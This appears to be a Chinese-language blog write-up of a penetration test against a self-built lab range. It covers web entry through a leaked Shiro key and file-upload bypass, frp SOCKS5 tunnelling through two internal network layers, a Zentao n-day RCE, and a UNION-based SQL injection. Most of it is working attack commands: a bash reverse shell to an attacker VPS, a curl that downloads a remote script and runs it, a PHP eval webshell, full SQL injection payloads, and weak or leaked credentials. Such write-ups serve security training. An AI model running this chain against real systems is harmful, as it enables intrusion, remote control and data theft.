
自搭靶场环境-web打点&&内网穿透
本文提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;
本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除
靶标:xx.xx.xx.xx(纯ip资产)
一、web打点
信息收集
端口扫描
nmap -sV xx.xx.xx.xx
收集到的端口
22
25
110
888
7000
8080
8888
9090
9999
初步排除已知的非web端口,得到以下结果
888
7000
8080
8888
9090
9999
此时在URL拼接这些端口,得到以下结果
http://xx.xx.xx.xx:888
http://xx.xx.xx.xx:7000
http://xx.xx.xx.xx:8080
http://xx.xx.xx.xx:8888
http://xx.xx.xx.xx:9090
http://xx.xx.xx.xx:9999
资产探活
使用httpx跑一遍拼接后的结果
httpx.exe -l sub.txt -o hackerone.html -html -title
得到以下内容
指纹识别
此时需要对存活的端口进行指纹识别,看能不能识别出已知的框架或者组件
工具使用Ehole或者Finger(此处为Ehole)
Ehole.exe -l url.txt
得到以下结果
web打点
8080端口
由于指纹识别出来该端口是一个shiro框架,所以先使用ShiroAttack2工具看能不能爆出key(需要jdk1.8)
很遗憾,没有爆出
接着在浏览器访问8080端口,发现是一个springboot报错页面
此时的思路就是跑一下路径,看是否存在文件泄露
python dirsearch.py -u http://xx.xx.xx.xx:8080 -i 200
在结果中看到有heapdump泄露
此时将这个heapdump文件下载下来
然后使用以下工具将这个文件进行解密
将输出结果保存到1.txt
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump > 1.txt
在解密出来的文件中没通过翻找,发现泄露了shiro key
此时可以使用shiro反序列化利用工具,利用泄露的key来RCE
还可以注入内存马
注入成功后使用对应的webshell管理工具连接即可
通过翻找文件,发现一个jar包文件,此时将他下载下来
反编译这个jar包,然后将源码保存在本地
反编译出来以后,优先查看
BOOT-INF/classes/application.properties
文件,这个文件包含了应用的各种配置属性(比如:数据库连接信息、服务器端口、调试选项、其它一些敏感信息等)
此时发现泄露了数据库密码(注意:一个web中很可能出现密码复用,所以最好将记录下来的账号密码存好)
出现乱码可以复制到文本编辑器查看
此时再查看还有什么文件,发现
.dockerenv
文件,判断此时是在容器内部,这个点告一段落
888端口
访问888端口,是个nginx的403页面
此时不能直接放弃,还是要尝试跑一下路径
python dirsearch.py -u http://xx.xx.xx.xx:888/ -i 200
果然有惊喜,发现了
phpmyadmin
的登录页面
此时想到刚刚发现的数据库密码泄露(root:0c4af26e5fdbb46e),可以尝试一下,成功登录数据库
数据分到手,这个步骤告一段落
9090端口
访问9090端口,发现是一个商城页面
爆破路径,尝试找到后台页面
python dirsearch.py -u http://xx.xx.xx.xx:9090/ -i 200
结果中有一个路径,感觉可能是存在后台管理员页面
访问
/admin
,发现了后台登录页
此时的思路是,先用字典爆一下弱口令,但是存在验证码(可以尝试图片验证码光学识别绕过)和登录次数限制,此时又想到刚刚拿下的数据库,可以在里面找到账号密码
将密码的md5值进行解密,得到明文密码
成功登录
在会员标签里面,可以上传文件
首先上传张图片马(冰蝎),用yakit抓包(注意:使用Burp传数据可能会被拦截),将后缀改成php,然后放包,发现上传失败
此时判断可能存在白名单,将后缀任意修改再放包,还是拦截,说明确实存在白名单
进一步观察数据包,发现会将上传的文件重新命名(类似时间戳的命名方式)
尝试将此处的后缀改为php,放包后发现上传成功
但是发现响应包并没有返回上传路径,在浏览器的开发者工具翻找加载的数据也没发现,但是最后通过findsomthing插件,发现了疑似上传的路径,同时发现这里有一个内网ip,后面做内网渗透的时候可以验证
此时使用这个路径,拼接文件名,在冰蝎成功连接成功,查看当前权限,惊喜地发现是root,不用提权了
二、一层内网渗透
内网信息收集
拿下边界以后,先查看当前网卡信息,看是否存在内网
发现有一个内网网段(10.10.1.0/24)
此时先上传fscan梭哈(gogo等也行)
首次执行发现权限不足,可以提一下权限
chmod +x ./fscan
由于攻击者的局域网和目标内网不是相通的,所以需要做内网穿透
发现内网存活的其它主机,且存在敏感信息
//存活主机
10.10.10.151 //边界主机,已拿下
10.10.10.175 //内网机器
//敏感信息,两台机器的ssh登录密码
10.10.10.151:root/123456
10.10.10.175:root/123456
./fscan -h 10.10.10.0/24 -no -nopoc
内网穿透(frp)
攻击者的VPS(公网服务器)上传frp服务端,frps.ini文件配置如下:
[common]
bindPort = 7000
# 写不写都⾏,要⼀⼀对应
token =
边界机器上传客户端,frpc.ini文件配置信息如下
[common]
server_addr = VPS的IP
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 8888
plugin = socks5
# 对应
token =
use_encryption = true
use_compression = true
在VPS运行frps
./frps -c frpc.ini
然后把frpc、frpc.ini文件上传到目标机器与运行
冰蝎没法打开虚拟终端的话可以上传一个哥斯拉的webshell,在哥斯拉执行
./frpc -c frpc.ini
此时攻击者的VPS上会显示success ,代表隧道建立成功!
此时攻击者即可通过个人主机上的Proxifier与VPS建立socks5隧道,端⼝为8888
地址为VPS地址
RCE
前面信息收集时发现10.10.10.175这台内网机器存在80端口,访问后发现是禅道管理系统
此时可以查看相应的版本信息
发现版本为18.0 beta1,所以可以利用nday进行RCE
查看当前用户,看是否能命令执行
Zentao-Captcha-RCE.exe -c "whoami" -u http://10.10.10.175/zentao/
命令执行成功后,可以在攻击者的VPS上准备一个shell脚本(用于反弹shell)
bash -i >& /dev/tcp/vps ip/5555 0>&1
在VPS上开启一个http服务
python3 -m http.server 9999
然后使用curl命令加载到目标内网机器上
Zentao-Captcha-RCE.exe -c "curl http://vps ip:9999/1.sh -o /tmp/test.sh" -u http://10.10.10.175/zentao/
加载完成后,在VPS上使用nc监听相应的端口
nc -vlnp 5555
此时使用nday运行远程加载过来的bash脚本
Zentao-Captcha-RCE.exe -c "bash /tmp/test.sh" -u http://10.10.10.175/zentao/
即使显示执行失败,但是成功反弹shell到VPS上,说明RCE成功
上传webshell
此时通过翻路径,发现首页路径为
/www/zentaopms/www/
,所以此时可以写入一个webshell
touch test.php
echo '<?php @eval($_POST[hacker]); ?>' >> test.php
此时可以使用中国蚁剑进行连接
为了更加方便操作,可以上传冰蝎马
用冰蝎连接
拿下数据库
通过翻找文件路径,发现存在一个my.php文件,猜测可能有数据库连接信息
发现连接的账号密码
使用冰蝎的数据库管理工具连接,发现连接成功
获取禅道后台登录密码
在网上查找到禅道数据中哪些表存放了用户信息,可以通过sql语句进行查询,发现后台账号密码
select account,password from zentao.zt_user
将加密后的密码进行md5解密,得到密码
三、二层内网穿透
内网信息收集
前面fscan发现两个ssh登录账号密码为弱口令,通过前面的代理隧道打通内网以后,可以通过ssh连接上内网机器,然后查看是否还有其它的内网网段
发现存在另一个内网网段,再次上fscan扫内网,发现第二层内网存活的主机及其开开放的端口
./fscan -h 10.10.1.0/24 -no -nopoc
二层内网穿透
判断一层内网机器(禅道服务器)是否出网
ping www.baidu.com
能ping通说明出网,所以可以通过frp建立反向代理
在边界服务器上上传frp服务端,frps.ini文件配置如下
[common]
bindPort = 7000
# 写不写都⾏,要⼀⼀对应
token =
上传frp客户端到一层内网机器,frpc.ini文件配置信息如下:
[common]
server_addr = 10.10.10.151 (边界服务器的内网IP)
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 6666
plugin = socks5
# 对应
token =
use_encryption = true
use_compression = true
在边界服务器运行frps
./frps -c frpc.ini
一层内网机器运行客户端
./frpc -c frpc.ini
代理成功
二层内网主机信息收集
前面发现二层内网存在主机10.10.145,且开放80端口,访问后发现是一个phpstudy页面
通过dirsearch扫路径,发现存在一个
/cms
和/phpmyadmin
python dirsearch.py -u http://10.10.1.145/ -i 200
访问
/cms
,发现是一个文件管理系统
访问
/phpmyadmin
,发现是phpmyadmin登录页
文件管理系统sql注入(/cms)
在主页随便点击两条新闻进行对比发现上面除了url中
?id=33
和?id=32
之外没有任何区别
更改id参数网站会自动跳转页面,猜测这个
id=
的参数中存在注入点,试试在后面输入单引号
出现报错,说明存在sql注入
判断注入类型
输入
?id=33 and 1=1--+
,返回正确页面
输入
?id=33 and 1=2--+
,返回异常页面
综上说明存在数字型注入
判断列数
方法:使用以下Payload,增加最后一位数字直到报错
?id=33 order by 1--+
?id=33 order by 15--+
没有报错,但是增加到16就报错
查看哪些位置可以回显
?id=-33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
得到结果为3和11,所以在3和11的位置插入查看当前数据库名称和版本的语句
?id=-33 and 1=1 union select 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15--+
查询数据库表名
?id=-33 and 1=1 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.tables where table_schema='cms'--+
此时的报错
Illegal mix of collations for operation 'UNION'
,是因为编码的原因,此时用HEX()
函数将结果转化为16进制输出就可以解决问题
?id=-33 and 1=1 union select 1,2,HEX(group_concat(table_name)),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.tables where table_schema='cms''--+
将得到的16进制数进行解码,得到表名
查询字段名
对cms_users表的字段名进行查询(依旧将结果输出为16进制)
?id=-33 and 1=1 union select 1,2,HEX(group_concat(column_name)),4,5,6,7,8,9,10,version(),12,13,14,15 from information_schema.columns where table_schema='cms' and table_name = 'cms_users'--+
将结果进行解码,得到字段名
查询字段值
对表中得username字段和password字段进行查询
在ASCII编码中,
0x3a
是一个16进制值,对应于 ASCII 字符:
,所以将0x3a
作为字符串参数传递给SQL函数时,它会被解释为:
字符,用于将查询出来的账号密码进行分隔
?id=-33 and 1=1 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users--+
此时得到了账号和加密后的密码,可以将密码进行md5解密,得到明文密码
通过账号密码登录后台
此时可以使用查询并解密出来的账号密码进行登录,发现登录成功
弱口令拿下数据库(/phpmyadmin)
通过尝试常见的弱口令root/root,成功登录phpmyadmin,拿下数据库